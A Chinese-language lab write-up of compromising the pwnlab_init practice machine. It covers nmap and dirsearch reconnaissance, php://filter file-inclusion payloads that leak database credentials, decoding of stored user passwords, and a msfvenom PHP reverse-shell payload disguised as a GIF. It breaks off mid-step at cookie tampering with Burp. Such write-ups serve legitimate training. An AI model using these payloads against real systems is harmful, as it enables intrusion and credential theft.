pwnlab_init靶机渗透过程

准备环境

攻击机：WSL-Kali-Linux

目标靶机：pwnlab_init

平台：VMware Workstation 16.2

靶机为NAT模式

一、信息搜集

1.IP扫描

nmap -sn 192.168.9.0/24

2.端口扫描

nmap -A -p- 192.168.9.147

端口开放情况如下

端口	服务
80	http
111	RPCbind
3306	mysql
34323	RPC

3.目录扫描

访问其web页面

先进行目录扫描

dirsearch -u http://192.168.9.147/

存在config.php，推测该php文件有可能为数据库连接配置文件

二、漏洞利用

1.漏洞挖掘

使用php伪协议对config.php进行读取，构造POC

http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=config

得到base64编码之后的文件内容，对内容进行解码

解码平台：CyberChef

解码后得到

<?php
$server      = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得到数据库配置信息

用户名为root，密码为H4u%QJ_H99，结合端口扫描结果，mysql的3306端口为开放

可以尝试连接数据库

mysql -h 192.168.9.147 -uroot -p

成功进入数据库，开始对数据库进行信息搜集

存在information_schema和Users两个数据库

在Users数据库中存在users数据表，表中保存了3个用户的用户名和密码，并且密码是通过base编码的，尝试着解码

用户名	密码解码前	密码解码后
kent	Sld6WHVCSkpOeQ==	JWzXuBJJNy
mike	U0lmZHNURW42SQ==	SIfdsTEn6I
kane	aVN2NVltMkdSbw==	iSv5Ym2GRo

随便使用一个用户进行登录，登录进去之后可以进行文件上传

2.webshell

用msfvenom生成木马

msfvenom -p php/meterpreter_reverse_tcp lhost=172.20.133.136 lport=9999 -e -f raw > msfshell.php

将该生成的木马添加GIF文件头标识GIF89a，并将木马文件后缀加上.gif

将该木马上传，上传之后得到该文件的路径

直接访问该文件并不能触发shell反弹，先通过php伪协议查看index.php页面的源码

http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=index

index.php源码为

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

代码审计之后，发现可以通过包含cookie内容来上传文件，使用Burp Suite抓包工具进行抓包，修改cookie参数

在访问index.php页面的时候对数据包进行拦截